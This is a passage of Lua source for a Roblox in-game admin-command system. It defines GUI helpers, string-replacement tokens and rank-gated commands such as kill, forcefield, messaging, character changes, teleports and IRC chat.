5112 local Part = Instance.new("Frame", Full) Part.Name = "Part" Part.Size = UDim2.new(0, 0, 1, 0) Part.BackgroundColor3 = GUI:GetColor() Part.BorderColor3 = Color3.new(1, 1, 1) Part.BorderSizePixel = 2
5113 local Tick = SOUND:MakeSound(Frame, 151715959, 1, 1)
5114 local Alarm = SOUND:MakeSound(Frame, 131573697, 1, 1)
5115
5116 local CurrentSeconds = AllSeconds
5117 local Alive = true
5118 coroutine.wrap(function() for i = 0,AllSeconds do
5119 if not Alive then break end
5120 local Seconds = tostring(math.fmod(CurrentSeconds,60))
5121 local Minutes = tostring(math.floor(CurrentSeconds/60))
5122 if #Seconds == 1 then Seconds = "0"..Seconds end
5123 if #Minutes == 1 then Minutes = "0"..Minutes end
5124 Time.Text = Minutes..":"..Seconds
5125 wait(1)
5126 if CurrentSeconds <= 0 then
5127 Alarm:Play()
5128 Time.Text = "00:00"
5129 Part.Size = UDim2.new(1,0,1,0)
5130 Restore:Invoke()
5131 wait(4)
5132 Close:Invoke()
5133 break
5134 else
5135 Tick:Play()
5136 Part.Size = UDim2.new((AllSeconds - CurrentSeconds)/AllSeconds,0,1,0)
5137 CurrentSeconds = CurrentSeconds - 1
5138 end
5139 end end)()
5140
5141 Closed.Event:connect(function()
5142 if Alive == true then
5143 Alive = false
5144 Tick:Stop()
5145 Alarm:Stop()
5146 end
5147 end)
5148end)() end
5149
5150function GUI:DetachChat(Player)
5151 if not Player or not Player:FindFirstChild("PlayerGui") then return nil end
5152 if Player:FindFirstChild("DetachChatMML") then
5153 Player.DetachChatMML:Invoke(true)
5154 wait()
5155 Player.DetachChatMML:Destroy()
5156 end
5157
5158 local Frame, _, Closed = GUI:CreateForm(Player, "Detached Chat", UDim2.new(0.5, 0, 0.5, 32), nil, 57550259)
5159 local SG = Frame.Parent.Parent.Parent
5160
5161 local DCBF = Instance.new("BindableFunction", Player)
5162 DCBF.Name = "DetachChatMML"
5163 DCBF.OnInvoke = function(Remove)
5164 if Remove then
5165 SG:Destroy()
5166 end
5167 end
5168 CORE:ExecuteResource("CoreChat", SG)
5169
5170 local IsClosed = false
5171 Closed.Event:connect(function()
5172 CORE:ExecuteResource("ResetChat", Player:WaitForChild("Backpack"))
5173 IsClosed = true
5174 end)
5175
5176 coroutine.wrap(function()
5177 Player.CharacterRemoving:wait()
5178 if not IsClosed then
5179 IsClosed = true
5180 wait(1)
5181 CORE:ExecuteResource("ResetChat", Player:WaitForChild("Backpack"))
5182 end
5183 end)()
5184end
5185
5186function GUI:SendChat(Player, Data, Speaker) coroutine.wrap(function()
5187 if not Player then return nil end
5188 if type(Data) ~= "table" then Data = {Text = tostring(Data)} end
5189 Data.Text = STRING:DetermineFilter(Data.Text, Speaker or Player, Player)
5190
5191 Player:WaitForChild("SendChat"):InvokeClient(Player, Data)
5192end)() end
5193
5194function GUI:SoundInfo(Player, SoundID, TitleText, CreatorText, Time, InputSound)
5195 if not Player or not Player:FindFirstChild("PlayerGui") then return nil end
5196 if not SoundID then SoundID = SoundInfo["ID"] end
5197 if not TitleText then TitleText = SoundInfo["Name"] end
5198 if not CreatorText then CreatorText = SoundInfo["Creator"] end
5199 if not InputSound then InputSound = Sound end
5200
5201 local NumSounds = 0
5202 for _,SG in pairs(Player.PlayerGui:GetChildren()) do
5203 if SG.Name == "M".."a".."k".."erModelLu".."a's Admin Form Sound" then
5204 NumSounds = NumSounds + 1
5205 end
5206 end
5207
5208 local Size = UDim2.new(0.1, 100, 0.1, 100)
5209 local Frame, Close, Closed, _, Minimized = GUI:CreateForm(Player, "Playing Sound "..SoundID, Size, UDim2.new(Size.X.Scale * NumSounds, (Size.X.Offset * NumSounds) + (NumSounds * 5), 0.5, -50), "Sound", true, nil, nil, false)
5210 Frame.Parent.Parent.Parent.Name = Frame.Parent.Parent.Parent.Name.." Sound"
5211
5212 local SoundLoudness = Instance.new("Frame", Frame) SoundLoudness.Name = "SoundLoudness" SoundLoudness.Size = UDim2.new(1, 0, 1, 0) SoundLoudness.BackgroundTransparency = 1 SoundLoudness.Visible = false
5213 local BurstFrame = Instance.new("Frame", SoundLoudness) BurstFrame.Name = "BurstFrame" BurstFrame.Size = UDim2.new(1, 0, 1, 0) BurstFrame.BackgroundTransparency = 1
5214 local Spin = Instance.new("Frame", SoundLoudness) Spin.Name = "Spin" Spin.Size = UDim2.new(1, 0, 1, 0) Spin.BackgroundTransparency = 1
5215 local MainPoint = Instance.new("ImageLabel", SoundLoudness) MainPoint.Name = "MainPoint" MainPoint.Position = UDim2.new(0, 0, 0.25, 0) MainPoint.Size = UDim2.new(0.5, 0, 0.5, 0) MainPoint.BackgroundTransparency = 1 MainPoint.Image = "rbxassetid://301292168" MainPoint.SizeConstraint = "RelativeYY"
5216 local Bar = Instance.new("Frame", SoundLoudness) Bar.Name = "Bar" Bar.Position = UDim2.new(0, 0, 0, 0) Bar.Size = UDim2.new(0, 10, 0.3, 0) Bar.BackgroundTransparency = 1 Bar.SizeConstraint = "RelativeYY"
5217 local Fill = Instance.new("Frame", Bar) Fill.Name = "Fill" Fill.Position = UDim2.new(0, 0, 1, 0) Fill.Size = UDim2.new(1, 0, -0.5, 0) Fill.BackgroundColor3 = Color3.new(1, 1, 1) Fill.BorderSizePixel = 0
5218 local Burst = Instance.new("ImageLabel", SoundLoudness) Burst.Name = "Burst" Burst.BackgroundTransparency = 1 Burst.Image = "rbxassetid://142700369" Burst.ImageTransparency = 0.5-- Bar.SizeConstraint = "RelativeYY"
5219
5220 local Title = Instance.new("TextLabel", Frame) Title.FontSize = "Size24" Title.TextWrapped = true Title.Size = UDim2.new(1, 0, 0.8, -35) Title.TextColor3 = Color3.new(1,1,1) Title.TextStrokeColor3 = Color3.new(0,0,0) Title.TextStrokeTransparency = 0 Title.Text = TitleText Title.BackgroundTransparency = 1 Title.Font = Settings.Font Title.Name = "Title"
5221 local Creator = Instance.new("TextLabel", Frame) Creator.FontSize = "Size18" Creator.TextWrapped = true Creator.Size = UDim2.new(1, 0, 0.2, 0) Creator.TextColor3 = Color3.new(1,1,1) Creator.TextStrokeColor3 = Color3.new(0,0,0) Creator.TextStrokeTransparency = 0 Creator.Text = CreatorText Creator.Position = UDim2.new(0, 0, 0.8, -35) Creator.BackgroundTransparency = 1 Creator.Font = Settings.Font Creator.Name = "Creator"
5222 if Sound then
5223 CORE:ExecuteResource("GraphicalSound", SoundLoudness, {["Sound"] = Sound})
5224 end
5225 if Time then
5226 local Timer = Instance.new("TextLabel", Frame) Timer.FontSize = "Size14" Timer.TextWrapped = true Timer.Size = UDim2.new(1, 0, 0, 35) Timer.TextColor3 = GUI:ContrastColor() Timer.Position = UDim2.new(0, 0, 1, -35) Timer.BackgroundTransparency = 1 Timer.Font = Settings.Font Timer.Name = "Timer"
5227 local Stop = Instance.new("ImageButton", Timer) Stop.Image = "rbxassetid://49494354" Stop.Size = UDim2.new(0, 30, 0, 30) Stop.BackgroundTransparency = 1 Stop.Position = UDim2.new(1, -35, 0, 2)
5228
5229 coroutine.wrap(function()
5230 local Alive = true
5231
5232 local function StopTimer() Alive = false end
5233 Closed.Event:connect(StopTimer)
5234 Minimized.Event:connect(StopTimer)
5235 CORE:HandleEvent(Stop, "MouseButton1Down", StopTimer)
5236
5237 for i = Time,0,-1 do
5238 for ii = 1,10 do
5239 if Alive == true then
5240 Timer.Text = i
5241 wait(0.1)
5242 else
5243 break
5244 end
5245 end
5246 end
5247 if Alive == true then
5248 Close:Invoke()
5249 else
5250 Timer:Destroy()
5251 Stop:Destroy()
5252 end
5253 end)()
5254 end
5255end
5256
5257---- STRING REPLACEMENT OPERATIONS ----
5258
5259-- {"_REPLACEMENT", "Replaces input string with ".."string description", RequiresPlayer, function(Player)}
5260
5261-- Like the commands, this table must be placed here in order for the variables in the functions to successfully initalize.
5262
5263StringReplacements = {
5264 {"_SERVERTIME", "total server time in seconds", false, function(Player) return tostring(math.floor(Workspace.DistributedGameTime)) end};
5265 {"_PLACEID", "the current place's ID", false, function(Player) return tostring(game.PlaceId) end};
5266 {"_CREATORID", "the game's creator's user ID", false, function(Player) return tostring(game.CreatorId) end};
5267 {"_CREATOR", "the game's creator's username", false, function(Player) return GameOwner end};
5268 {"_PLACENAME", "the current place's name", false, function(Player) return PlaceName end};
5269 {"_REVPLACENAME", "the current place's name in reverse", false, function(Player) return string.reverse(PlaceName) end};
5270 {"_PLACEDESC", "the current place's description", false, function(Player) return PlaceInfo.Description end};
5271 {"_RANDOM", "a random number from 1-10000", false, function(Player) return tostring(math.random(1,10000)) end};
5272 {"_DATE", "the current date (if Http connected)", false, function(Player) return Date or "Cannot get date. Http not connected" end};
5273 {"_TIME", "the current time", false, function(Player) return CORE:GetTime(true) end};
5274
5275 {{"_SOUNDID", "_SONGID", "_MUSICID"}, "the ID of the sound playing", false, function(Player) return tostring(SoundInfo["ID"]) end};
5276 {{"_SOUNDCREATOR", "_SONGCREATOR", "_MUSICCREATOR"}, "the name of the creator of the sound playing", false, function(Player) return SoundInfo["Creator"] end};
5277 {{"_SOUND", "_SONG", "_MUSIC"}, "the name of the sound playing", false, function(Player) return SoundInfo["Name"] end};
5278 {"_FONT", "the font of the admin", false, function(Player) return Settings.Font end};
5279 {"_COLOR", "the color scheme of the admin", false, function(Player) return Settings.ColorScheme end};
5280 {{"_TRANS", "_TRANSPARENCY"}, "the transparency scheme of the admin", false, function(Player) return tostring(Settings.TransparencyScheme * 100).."%%" end};
5281
5282 {"_USERID", "player's UserID", true, function(Player) return tostring(Player.UserId) end};
5283 {"_NAMELEN", "player's username length", true, function(Player) return tostring(string.len(Player.Name)) end};
5284 {"_REVNAME", "player's username in reverse", true, function(Player) return string.reverse(Player.Name) end};
5285 {"_UPNAME", "player's username in uppercase", true, function(Player) return string.upper(Player.Name) end};
5286 {"_LOWNAME", "player's username in lowercase", true, function(Player) return string.lower(Player.Name) end};
5287 {"_NAME", "player's username", true, function(Player) return Player.Name end};
5288 {"_LEETNAME", "player's username in leetspeak", true, function(Player) return STRING:LeetSpeak(Player.Name) end};
5289 {"_ACCOUNTAGE", "player's account age", true, function(Player) return STRING:FindAge(Player.AccountAge) end};
5290 {"_AGE", "player's account age", true, function(Player) return STRING:FindAge(Player.AccountAge) end};
5291 {{"_BENCHMARK", "_BENCH"}, "player's benchmark score (if available)", true, function(Player) if ClientInfo[Player.Name].Benchmark then return tostring(ClientInfo[Player.Name].Benchmark) else return "[NO BENCHMARK]" end end};
5292 {"_WALKSPEED", "player's WalkSpeed", true, function(Player) if Player.Character and Player.Character:FindFirstChild("Humanoid") then return tostring(Player.Character.Humanoid.WalkSpeed) else return "No humanoid" end end};
5293 {"_HEALTH", "player's health", true, function(Player) if Player.Character and Player.Character:FindFirstChild("Humanoid") then return tostring(Player.Character.Humanoid.Health) else return "No humanoid" end end};
5294 {"_MAXHEALTH", "player's MaxHealth", true, function(Player) if Player.Character and Player.Character:FindFirstChild("Humanoid") then return tostring(Player.Character.Humanoid.MaxHealth) else return "No humanoid" end end};
5295 {"_RANKNUM", "player's rank number", true, function(Player) local PlayerRank,RankNum = RANK:GetRank(Player) return tostring(RankNum) end};
5296 {"_RANK", "player's rank", true, function(Player) local PlayerRank,RankNum = RANK:GetRank(Player) return PlayerRank end};
5297 {{"_POS", "_POSITION"}, "player's position", true, function(Player) if CORE:FindBodyPart(Player, "Torso") then local Pos = CORE:FindBodyPart(Player, "Torso").Position return tostring(CORE:Round(Pos.X)..", "..CORE:Round(Pos.Y)..", "..CORE:Round(Pos.Z)) else return "No torso" end end};
5298}
5299
5300---- COMMANDS ----
5301
5302-- Format: [{"CommandName", "CommandName2", "..."}] = {"Command Example of Args", "Command Description", Arguments, "Minimum Rank", FunCommand, ExecuteFunction(Speaker, Rank, {Arguments})
5303
5304Commands = { -- can't make local
5305 [{"test", "tst"}] = {"", "Prompts a message saying it works. If there's no message it doesn't work", 0, "Member", false, function(Speaker, Rank, Arguments)
5306 print("[MML's Admin]: Test message from "..Speaker.Name)
5307 GUI:SendMessage(Speaker, "Test complete", "MakerModelLua's Admin V"..CORE.Version.Value.." works fine!", "Check")
5308 end};
5309
5310 [{"kill", "die"}] = {"player", "Breaks the player's joints and kills them", 1, "Member", false, function(Speaker, Rank, Arguments)
5311 local Players = STRING:Scan(Arguments[1], Speaker)
5312 for _,Player in pairs(Players) do
5313 if Player.Character then
5314 Player.Character:BreakJoints()
5315 end
5316 end
5317 end};
5318
5319 [{"ff", "forcefield"}] = {"player", "Gives the player a protective forcefield", 1, "Member", false, function(Speaker, Rank, Arguments)
5320 local Players = STRING:Scan(Arguments[1], Speaker)
5321 for _,Player in pairs(Players) do
5322 if Player.Character then
5323 Instance.new("ForceField", Player.Character)
5324 end
5325 end
5326 end};
5327
5328 [{"noff", "unff", "noforcefield", "unforcefield"}] = {"player", "Removes any forcefields on the player", 1, "Member", false, function(Speaker, Rank, Arguments)
5329 local Players = STRING:Scan(Arguments[1], Speaker)
5330 for _,Player in pairs(Players) do
5331 if Player.Character then
5332 for _,Get in pairs(Player.Character:GetChildren()) do
5333 if Get:IsA("ForceField") then
5334 Get:Destroy()
5335 end
5336 end
5337 end
5338 end
5339 end};
5340
5341 [{"m", "msg", "message"}] = {"string", "Sends everyone in a server a message of string", 1, "Member", false, function(Speaker, Rank, Arguments)
5342 for _,Player in pairs(Server.Players:GetPlayers()) do
5343 GUI:SendMessage(Player, "Message from "..Speaker.Name, Arguments[1], "Message", 10, true, Speaker)
5344 end
5345 end};
5346
5347 [{"sm", "smsg", "smessage", "systemm", "systemmsg", "systemmessage"}] = {"string", "Sends everyone in a server a message of string as a system message", 1, "Admin", false, function(Speaker, Rank, Arguments)
5348 for _,Player in pairs(Server.Players:GetPlayers()) do
5349 GUI:SendMessage(Player, "MAK".."ERMODELLU".."A'S ADMIN SYSTEM MESSAGE", Arguments[1], 132769569, nil, false, Speaker)
5350 end
5351 end};
5352
5353 [{"pm", "personalmessage", "personalmsg", "personalm", "pmessage", "pmsg"}] = {"player string", "Sends the particular player a message of string", 2, "Member", false, function(Speaker, Rank, Arguments)
5354 local Players = STRING:Scan(Arguments[1], Speaker)
5355 for _,Player in pairs(Players) do
5356 GUI:SendMessage(Player, "Message from "..Speaker.Name, Arguments[2], "Message", 20, false, Speaker)
5357 end
5358 end};
5359
5360 [{"cm", "chatmessage", "chatmsg"}] = {"string", "Sends everyone in a server a chatted message of string", 1, "Admin", false, function(Speaker, Rank, Arguments)
5361 for _,Player in pairs(Server.Players:GetPlayers()) do
5362 GUI:SendChat(Player, {Text = "[ MML'S ADMIN ]: "..Speaker.Name..": "..Arguments[1], FontSize = Enum.FontSize.Size24}, Speaker)
5363 end
5364 end};
5365
5366 [{"pcm", "pchatmessage", "pchatmsg", "personalcm", "personalchatmessage", "personalchatmsg"}] = {"player string", "Sends player the chatted message of string", 2, "Admin", false, function(Speaker, Rank, Arguments)
5367 local Players = STRING:Scan(Arguments[1], Speaker)
5368 for _,Player in pairs(Players) do
5369 GUI:SendChat(Player, {Text = "[ MML'S ADMIN ]: "..Speaker.Name..": "..Arguments[2], FontSize = Enum.FontSize.Size24}, Speaker)
5370 end
5371 end};
5372
5373 [{"age", "getage"}] = {"player", "Shows the age of player", 1, "Member", false, function(Speaker, Rank, Arguments)
5374 local Players = STRING:Scan(Arguments[1], Speaker)
5375 local AgeList = {}
5376 for _,Player in pairs(Players) do
5377 table.insert(AgeList, Player.Name..": "..STRING:FindAge(Player.AccountAge))
5378 end
5379 GUI:ListGui(Speaker, "Player Ages", AgeList, "Time")
5380 end};
5381
5382 [{"showage", "sendage"}] = {"player players", "Shows the age of player to players", 2, "Member", false, function(Speaker, Rank, Arguments)
5383 local Players = STRING:Scan(Arguments[1], Speaker)
5384 local AgeList = {}
5385 for _,Player in pairs(Players) do
5386 table.insert(AgeList, Player.Name..": "..STRING:FindAge(Player.AccountAge))
5387 end
5388 local SecondPlayers = STRING:Scan(Arguments[2], Speaker)
5389 for _,Player in pairs(SecondPlayers) do
5390 GUI:ListGui(Player, "Player Ages", AgeList, "Time")
5391 end
5392 end};
5393
5394 [{"commands", "cmds", "commandlist", "cmdlist"}] = {"", "Shows a list of all the commands", 0, "Non-Admin", false, function(Speaker, Rank, Arguments)
5395 local Storage = {{}, {}, {}, {}}
5396 local StorageText = {}
5397 local Formatted = {}
5398 for CommandNames,Data in pairs(Commands) do
5399 if not Data.Hidden then
5400 local RankNeeded = RANK:ConvertRank(Data[4])
5401 local Add = ""
5402 if Data[4] == "Non-Admin" then Add = "BLACK " end
5403 if Data[4] == "Admin" then Add = "CYAN " end
5404 if Data[4] == "Member" then Add = "BLUE " end
5405 if Data[4] == "Owner" then Add = "BROWN " end
5406 if RankNeeded > RANK:ConvertRank(Rank) then Add = "RED " end
5407 local AddBet = Settings.Bet
5408 if Data[3] <= 0 then AddBet = "" end -- for commands with no args
5409 local Text = Settings.Prefix..CommandNames[1]..AddBet..Data[1].." [ "..Data[4].." ]"
5410 table.insert(Storage[RankNeeded + 1], Add..Text)
5411 StorageText[Text] = CommandNames
5412 end
5413 end
5414 for Num,_ in pairs(Storage) do
5415 table.sort(Storage[Num])
5416 end
5417 for _,Table in pairs(Storage) do
5418 for _,Command in pairs(Table) do
5419 table.insert(Formatted, Command)
5420 end
5421 end
5422 local Clicked,Dialog = GUI:ListGui(Speaker, "Command List", Formatted, 98616974, true)
5423 Clicked.Event:connect(function(Text)
5424 GUI:ShowCommand(Speaker, StorageText[Text], Dialog)
5425 end)
5426 end};
5427
5428 [{"getcommand", "getinfo", "getcmd", "commandinfo", "cmdinfo", "commanddetails", "cmddetails"}] = {"string", "Gets information on the command string", 1, "Non-Admin", false, function(Speaker, Rank, Arguments)
5429 GUI:ShowCommand(Speaker, string.lower(Arguments[1]))
5430 end};
5431
5432 [{"color", "cs", "colorscheme", "colortheme", "ct", "cscheme"}] = {"string(color)", "Changes the color scheme to Color", 1, "Owner", false, function(Speaker, Rank, Arguments)
5433 if GUI:GetColor(Arguments[1]) then
5434 local ColorScheme = string.upper(Arguments[1])
5435 if ColorScheme == "RANDOM" then Colors.RANDOM = Color3.new(math.random(0,255)/255,math.random(0,255)/255,math.random(0,255)/255) end
5436 Settings.ColorScheme = ColorScheme
5437 GUI:SendMessage(Speaker, "Color Scheme Changed", "Color scheme has been changed to "..string.lower(Arguments[1]).." successfully", "Check")
5438 else
5439 GUI:SendMessage(Speaker, "Color Scheme Change Fail", "Color scheme cannot be changed to "..string.lower(Arguments[1]).." because it is not a valid color", "Error")
5440 end
5441 end};
5442
5443 [{"colors", "colorlist", "listcolors", "colorschemes", "colorthemes", "cschemes"}] = {"", "Shows all the colors in the color list", 0, "Member", false, function(Speaker, Rank, Arguments)
5444 local List = {}
5445 for Color,_ in pairs(Colors) do
5446 table.insert(List, Color.." "..Color)
5447 end
5448 GUI:ListGui(Speaker, "Color Schemes", List, 31320560)
5449 end};
5450
5451 [{"trans", "transparency", "transscheme", "transparencyscheme", "tscheme"}] = {"number", "Changes the transparency scheme to number", 1, "Owner", false, function(Speaker, Rank, Arguments)
5452 local Transparency = tonumber(Arguments[1])
5453 if Transparency then
5454 if Transparency > 90 then Transparency = 90 end
5455 if Transparency < 10 then Transparency = 10 end
5456 Settings.TransparencyScheme = Transparency/100
5457
5458 GUI:SendMessage(Speaker, "Transparency Scheme Change", "Transparency scheme has been changed to "..Transparency.."% successfully", "Check")
5459 else
5460 GUI:SendMessage(Speaker, "Transparency Scheme Change Fail", "Transparency scheme cannot be changed to "..Arguments[1].."% because it is not a number", "Error")
5461 end
5462 end};
5463
5464 [{"font", "fontscheme", "fscheme"}] = {"string", "Changes the font of the admin.", 1, "Owner", false, function(Speaker, Rank, Arguments)
5465 if Fonts[Arguments[1]] then
5466 Settings.Font = Arguments[1]
5467 GUI:SendMessage(Speaker, "Font Change", "Font has been changed to "..Arguments[1].." successfully", "Check")
5468 end
5469 end};
5470
5471 [{"fun", "togglefun"}] = {"", "Toggles if fun commands can be executed or not from members", 0, "Owner", false, function(Speaker, Rank, Arguments)
5472 Settings.Fun = not Settings.Fun
5473 GUI:MessageAdmins("Fun Commands", "Fun commands can be executed: "..STRING:StringToBool(Settings.Fun))
5474 end};
5475
5476 [{"abuse", "abusive", "abusable", "toggleabuse", "toggleabusable"}] = {"", "Toggles if abusable commands can be executed or not from members", 0, "Owner", false, function(Speaker, Rank, Arguments)
5477 Settings.DisableAbuse = not Settings.DisableAbuse
5478 GUI:MessageAdmins("Abusable Commands", "Abusable commands can be executed from members now: "..(not STRING:StringToBool(Settings.DisableAbuse)))
5479 end};
5480
5481 [{"fontlist", "fonts", "getfont", "getfonts"}] = {"", "Shows all fonts available", 0, "Member", false, function(Speaker, Rank, Arguments)
5482 local List = {}
5483 for Font,_ in pairs(Fonts) do
5484 if Font == Settings.Font then
5485 table.insert(List, Font.." "..Font.." (CURRENT FONT)")
5486 else
5487 table.insert(List, Font.." "..Font)
5488 end
5489 end
5490 GUI:ListGui(Speaker, "Font list", List, 44453197)
5491 end};
5492
5493 [{"exesound", "executesound"}] = {"ID", "Changes the sound ID of when a command is execute(0 for no sound)", 1, "Owner", false, function(Speaker, Rank, Arguments)
5494 local SoundID = tonumber(Arguments[1])
5495 if SoundID then
5496 Settings.ExecuteNotificationSound = SoundID
5497
5498 GUI:SendMessage(Speaker, "Execute sound success", "Sound execution notification sound has been changed to "..SoundID.." successfully", "Check")
5499 else
5500 GUI:SendMessage(Speaker, "Execute sound Fail", "Sound execution notification sound cannot be changed to "..Arguments[1].." because it is not a number", "Error")
5501 end
5502 end};
5503
5504 [{"noexesound", "noexecutesound", "unexesound", "unexecutesound"}] = {"", "Changes the sound ID of when a command is executed to 0(So it doesn't play)", 0, "Owner", false, function(Speaker, Rank, Arguments)
5505 Settings.ExecuteNotificationSound = 0
5506 end};
5507
5508 [{"char", "character"}] = {"player string/num(ID)", "Changes player's character appearance to look like the character with the id ID or string.", 2, "Member", false, function(Speaker, Rank, Arguments)
5509 local Players = STRING:Scan(Arguments[1], Speaker)
5510 for _,Player in pairs(Players) do
5511 CORE:ChangeCharacter(Player, Arguments[2], false, Speaker)
5512 end
5513 end};
5514
5515 [{"rich", "merely"}] = {"player", "Changes player's character appearance to look like Merely", 1, "Member", false, function(Speaker, Rank, Arguments)
5516 local Players = STRING:Scan(Arguments[1], Speaker)
5517 for _,Player in pairs(Players) do
5518 CORE:ChangeCharacter(Player, 13416513, false, Speaker)
5519 end
5520 end};
5521
5522 [{"makerm".."odellua", "luamodelma".."ker", "mml", "lmm"}] = {"player", "Changes player's character appearance to look like MakerMo".."delLua", 1, "Member", false, function(Speaker, Rank, Arguments)
5523 local Players = STRING:Scan(Arguments[1], Speaker)
5524 for _,Player in pairs(Players) do
5525 coroutine.wrap(function()
5526 CORE:ChangeCharacter(Player, 38837082, false, Speaker)
5527 wait(1)
5528 GUI:SendMessage(Player, "Wow!", "You're looking cool!", "Admin", 7)
5529 end)()
5530 end
5531 end, Hidden = true};
5532
5533 [{"become", "bcome"}] = {"player string/num(ID)", "Changes player's character appearance to look like the character with the id ID or string and also name you.", 2, "Member", false, function(Speaker, Rank, Arguments)
5534 local Players = STRING:Scan(Arguments[1], Speaker)
5535 for _,Player in pairs(Players) do
5536 CORE:ChangeCharacter(Player, Arguments[2], false, Speaker, true)
5537 end
5538 end};
5539
5540 [{"name", "rename"}] = {"player name", "Changes player's character name", 2, "Member", false, function(Speaker, Rank, Arguments)
5541 local Players = STRING:Scan(Arguments[1], Speaker)
5542 for _,Player in pairs(Players) do
5543 CORE:ChangeName(Player, Arguments[2])
5544 end
5545 end};
5546
5547 [{"noname", "unname"}] = {"player", "Removes player's names from the 'name' command", 1, "Member", false, function(Speaker, Rank, Arguments)
5548 local Players = STRING:Scan(Arguments[1], Speaker)
5549 for _,Player in pairs(Players) do
5550 if Player.Character then
5551 local Head = Player.Character:FindFirstChild("Label")
5552 if Head then Head:Destroy() end
5553 local Head = Player.Character:FindFirstChild("Head")
5554 if Head then Head.Transparency = 0 if Head:FindFirstChild("Face") then Head.face.Transparency = 0 end end
5555 end
5556 end
5557 end};
5558
5559 [{"ogre", "shrek"}] = {"player", "Changes the player into shrek", 1, "Member", true, function(Speaker, Rank, Arguments)
5560 local Players = STRING:Scan(Arguments[1], Speaker)
5561 for _,Player in pairs(Players) do
5562 CORE:ChangeCharacter(Player, 11397, false, Speaker)
5563 end
5564 end};
5565
5566 [{"forcetp", "forcetp", "forceplace"}] = {"player num(ID)", "Forces a player to teleport to the place with the id of ID", 2, "Owner", false, function(Speaker, Rank, Arguments)
5567 local Players = STRING:Scan(Arguments[1], Speaker)
5568 for _,Player in pairs(Players) do
5569 local _,RankNum = RANK:GetRank(Player)
5570 if RankNum <= RANK:ConvertRank(Rank) then
5571 Server.TS:Teleport(Arguments[2], Player)
5572 end
5573 end
5574 end};
5575
5576 [{"forcefollow"}] = {"player num(UserID)", "Forces a player to teleport to the place num(UserID) is at(Only works in universes at this time)", 2, "Owner", false, function(Speaker, Rank, Arguments)
5577 local Players = STRING:Scan(Arguments[1], Speaker)
5578 local Suc, Err, PlaceID, IntID = Server.TS:GetPlayerPlaceInstanceAsync(tonumber(Arguments[2]))
5579 if Suc then
5580 for _,Player in pairs(Players) do
5581 Server.TS:TeleportToPlaceInstance(PlaceID, IntID, Player)
5582 end
5583 else
5584 GUI:SendMessage(Speaker, "Place Teleportation Failed for UserID: "..Arguments[2], "Cannot follow UserID: "..Arguments[2]..". Reason: "..Err, 5)
5585 end
5586 end};
5587
5588 [{"follow"}] = {"player num(UserID)", "Prompts a player to teleport to the place num(UserID) is at(Only works in universes at this time)", 2, "Owner", false, function(Speaker, Rank, Arguments)
5589 local Players = STRING:Scan(Arguments[1], Speaker)
5590 MARKET:PromptPurchase(Player, Arguments[2], Speaker, function()
5591 local Suc, Err, PlaceID, IntID = Server.TS:GetPlayerPlaceInstanceAsync(tonumber(Arguments[2]))
5592 if Suc then
5593 for _,Player in pairs(Players) do
5594 Server.TS:TeleportToPlaceInstance(PlaceID, IntID, Player)
5595 end
5596 else
5597 GUI:SendMessage(Speaker, "Place Teleportation Failed for UserID: "..Arguments[2], "Cannot follow UserID: "..Arguments[2]..". Reason: "..Err, 5)
5598 end
5599 end)
5600 end};
5601
5602 [{"accelerate", "accel", "acl"}] = {"player", "Accelerates them across roblox", 1, "Admin", true, function(Speaker, Rank, Arguments)
5603 local Players = STRING:Scan(Arguments[1], Speaker)
5604 for _,Player in pairs(Players) do
5605 local _,RankNum = RANK:GetRank(Player)
5606 if RankNum < RANK:ConvertRank(Rank) then
5607 Server.TS:Teleport(155307015, Player)
5608 end
5609 end
5610 end};
5611
5612 [{"rickroll", "rickastly"}] = {"player", "Rick rolls them to the movies", 1, "Admin", true, function(Speaker, Rank, Arguments)
5613 local Players = STRING:Scan(Arguments[1], Speaker)
5614 for _,Player in pairs(Players) do
5615 local _,RankNum = RANK:GetRank(Player)
5616 if RankNum < RANK:ConvertRank(Rank) then
5617 Server.TS:Teleport(347911447, Player)
5618 end
5619 end
5620 end};
5621
5622 [{"shield"}] = {"player", "Creates a protective shield around the player", 1, "Admin", false, function(Speaker, Rank, Arguments)
5623 local Players = STRING:Scan(Arguments[1], Speaker)
5624 for _,Player in pairs(Players) do
5625 CORE:GenerateShield(Player)
5626 end
5627 end};
5628
5629 [{"noshield", "unshield", "deshield"}] = {"player", "Removes any protective shield around the player", 1, "Admin", false, function(Speaker, Rank, Arguments)
5630 local Players = STRING:Scan(Arguments[1], Speaker)
5631 for _,Player in pairs(Players) do
5632 if Player.Character then
5633 local Shield = Player.Character:FindFirstChild("Shield")
5634 if Shield then Shield:Destroy() end
5635 end
5636 end
5637 end};
5638
5639 [{"chance", "possibility", "random"}] = {"num", "Will randomly see if a 1/num chance worked out or not", 1, "Member", false, function(Speaker, Rank, Arguments)
5640 local Num = tonumber(Arguments[1])
5641 if Num and Num ~= 0 then
5642 local Random = math.random(1,math.abs(Num))
5643 if Random == math.random(1,math.abs(Num)) then
5644 GUI:SendMessage(Speaker, "Chance Success!", "Out of a 1/"..Num.." chance this message has shown up!", "Check")
5645 else
5646 GUI:SendMessage(Speaker, "Chance Failed.", "In the 1/"..Num.." chance given, there was no success", "Notice")
5647 end
5648 else
5649 GUI:SendMessage(Speaker, "Chance Error", Arguments[1].." is not a valid number", "Error")
5650 end
5651 end};
5652
5653 [{"ircchat"}] = {"string", "Will chat on the connect IRC your message", 1, "Owner", false, function(Speaker, Rank, Arguments)
5654 IRC:Send("PRIVMSG "..Settings.IRCChannel.." :"..Speaker.Name..": "..Arguments[1])
5655 IRC:AddChat(Speaker.Name, Arguments[1])
5656 end};
5657
5658 --[[
5659 [{"newserver", "makeserver"}] = {"", "Opens new server on the current game", 0, "Owner", false, function(Speaker, Rank, Arguments)
5660 local Res = REMOTE:GetURL(CORE.Domain.."/APIs/JoinGame.php?GameID="..game.PlaceId)
5661 if Res then
5662 GUI:SendMessage(Speaker, "Server created", "Server has been created", "Check")
5663 end
5664 end, Http = true};
5665
5666 [{"remotenewserver", "remotemakeserver", "rns"}] = {"number(ID)", "Opens new server on the ID of the game", 1, "Owner", false, function(Speaker, Rank, Arguments)
5667 local Res = REMOTE:GetURL(CORE.Domain.."/APIs/JoinGame.php?GameID="..Arguments[1])
5668 if Res then
5669 GUI:SendMessage(Speaker, "Server created", "Server has been created on game: "..Arguments[1], "Check")
5670 end
5671 end}, Http = true;
5672 ]]
5673
5674 [{"ircreconnect", "ircr"}] = {"", "Reconnects IRC", 0, "Owner", false, function(Speaker, Rank, Arguments)
5675 IRC:Quit("Reconnecting")
5676 IRC:ConnectToServer(Settings.IRCServer)
5677 end};
5678
